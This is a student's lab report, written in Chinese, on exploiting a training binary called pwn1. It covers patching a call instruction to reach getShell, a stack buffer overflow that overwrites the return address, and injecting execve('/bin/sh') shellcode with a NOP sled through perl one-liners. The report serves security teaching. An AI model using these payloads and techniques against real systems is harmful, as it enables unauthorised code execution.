20164321 王君陶 Exp1 PC平台逆向破解

一、实践目标

本次实践的对象是一个名为pwn1的linux可执行文件。

该程序正常执行流程是：main调用foo函数,foo函数会简单回显任何用户输入的字符串。

该程序同时包含另一个代码片段，getShell，会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段，然后学习如何注入运行任何Shellcode。

三个实践内容如下：

手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

这几种思路，基本代表现实情况中的攻击目标:

运行原本不可访问的代码片段

强行修改程序执行流

以及注入运行任意代码。

二、基础知识：

1.通过结合计算机组成原理以及查阅相关资料，我们知道了NOP, JNE, JE, JMP, CMP等常用汇编指令的机器码：

NOP：一个空指令，什么都不做，让cpu等待一段时间，并且该指令会自动对齐寻址。机器码为0x90；

JNE：一个条件转移指令，当零标志z=0时跳转至标号，z=1时顺序执行下一条指令。机器码为0x75；

JE：一个条件转移指令，当零标志z=1时跳转至标号，z=0时顺序执行下一条指令。机器码为0x74；

JMP：无条件转移指令。段内直接近转移Jmp near，机器码为0xe9; 段内间接转移Jmp word,机器码为0xff；段内直接短转Jmp short,机器码为0xeb; 段间直接(远)转移Jmp far，机器码为0xea；

CMP：比较指令，执行减法操作但不保存运算结果。

2.掌握反汇编与十六进制编程器

通过查阅资料我们可以知道：

objdump反汇编命令：

objdump -f test     //显示test的文件头信息

objdump -d test    //反汇编test中的需要执行指令的那些section

objdump -D test    //与-d类似，但反汇编test中的所有section

objdump -h test    //显示test的Section Header信息

objdump -x test    //显示test的全部Header信息

objdump -s test    //除了显示test的全部Header信息，还显示他们对应的十六进制文件代码

xxd命令：

用vi命令打开一个文件，在vi命令模式下输入

:%!xxd            //回车后，该文件会以十六进制形式显示

:%!xxd -r         //参数-r是指将当前的十六进制转换为二进制

三、实践内容

1.手工修改可执行文件，改变程序执行流程，直接跳转到getShell函数。

设置共享文件夹将pwn1文件导入主目录后并修改文件名为20164321，输入：

objdump -d 20164321 | more

得到反汇编代码：

继续下拉，找到getshell、foo与main函数：

由主函数我们可以看出main函数调用foo，相应的机器指令为“e8 d7ffffff”,其中“e8”为跳转的意思。本来正常流程，此时此刻EIP的值应该是下条指令的地址，即80484ba，但如一解释e8这条指令呢，CPU就会转而执行“EIP + d7ffffff”这个位置的指令。“d7ffffff”是补码,表示-41，即为目标地址偏移量，41=0x29,80484ba+d7ffffff= 80484ba-0x29正好是8048491这个值，即为跳转的目标地址。那我们想让它调用getShell，只要修改“d7ffffff”为，"getShell-80484ba"对应的补码就行。用Windows计算器，直接47d-4ba就能得到补码，是c3ffffff。注意计算时是小端模式低字节优先。

修改可执行文件，将call指令的目标地址由d7ffffff变为c3ffffff。

进入到文件的vi模式，输入：

vim 20164321

按esc键退出，输入：

:%!xxd

以查看其十六进制

输入：

/e8 d7

找到目标代码 在000004b0

记录目标位置在000004b0这行，找到目标，将光标移至d，按r键后修改为c，同理修改7为3：

输入：

:%!xxd -r

转换16进制为原格式

输入：

：wq

存盘退出

对文件再次进行反汇编，找到主函数中之前调用foo的位置，发现call指令已经改为调用getshell了

运行后发现可以调用shell

2.利用foo函数的Bof漏洞，构造一个攻击输入字符串，覆盖返回地址，触发getShell函数

进行反汇编

我们可以利用foo函数中的Buffer overflow漏洞，造成缓冲区溢出，来覆盖返回地址为主函数中的80484ba，从而调用getshell函数。

2.1确认输入字符串哪几个字符会覆盖到返回地址

输入：

gdb 20164321-2

再输入r指令执行程序，我们可以尝试着输入一段字符串1111111122222222333333334444444412345678共40个字符

再输入info r查看寄存器信息发现正是之前0x34333231，即为4321的ASCII码，根据老师上课所讲的知识可以知道Linux地址是由高到低的，说明覆盖成功，之后的操作将其修改为getshell地址就能返回运行到getshell了。

由于是第32为之后的覆盖成功，能由此可见缓存区32个字节。

2.2构造输入字符串

由于小端模式我们将地址倒过来输入即可：（原为0804847d改为7d840408）

11111111222222223333333344444444\x7d\x84\x04\x08

再之后加一个\x0a表示回车就构造完成了。

输入：

perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input

将input的输入，通过管道符“|”，作为20164321-2的输入，即可攻击成功

3.注入一个自己制作的shellcode并运行这段shellcode

3.1准备一段shellcode

使用\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

这段机器指令，获取一个交互式的shell

3.2下载execstack，使用期关闭地址随机化，减少实验难度（0为关闭，2为开启）

3.3构造注入需要的payload

采用retaddr+nop+shellcode结构进行构造（nop一为是了填充，二是作为“着陆区/滑行区”。我们猜的返回地址只要落在任何一个nop上，自然会滑到我们的shellcode。）：

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

\x4\x3\x2\x1是将来要存放覆盖RET地址的位置。

3.4进行攻击

输入之前构造的代码

同时开启另一个终端来调试进程

输入：

ps -ef | grep 20164321-3

启动gdb调试这个进程

attach 5447

通过设置断点，来查看注入buf的内存地址

通过disassemble foo进行反汇编以设置断点

输入break *0x080484ae

再输入info r esp

对esp语句进行查找

我们可以看到0xffffd30内容被覆盖为了1234，我们需要将之后的90909090覆盖，则往后移四位地址，则目标地址为：0xffffd310

由此我们可以重新构造攻击代码：

perl -e 'print "A" x 32;print "\x10\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

攻击成功！

四、实验收获与感想

1.实验收获

这次实验是我第一次进行网络对抗实验，在实验过程中，我深切感受到自己linux基本功的不扎实，对实验内容也不够了解，简直就是上课听不懂，下课两行泪啊。

第一个实验就遇到了问题，修改地址完成后，运行文件发现非法，尝试解决无果后，重新做了一次才成功。

这次实验不表现了我动手能力的不足，希望在今后的几次实验中，我能够收获知识与实践能力。

2.什么是漏洞？漏洞有什么危害？

漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷，也就是我们所说的“bug”。就像本次实验中利用foo函数的Bof漏洞，就是程序代码存在一定的漏洞。

这些漏洞大多都是由于设计时不够严谨导致的，比如边界检查，输入值的判断，还有指针的调用。

这些漏洞轻则会使程序奔溃，重则会被恶意攻击者所利用，造成财产经济的损失。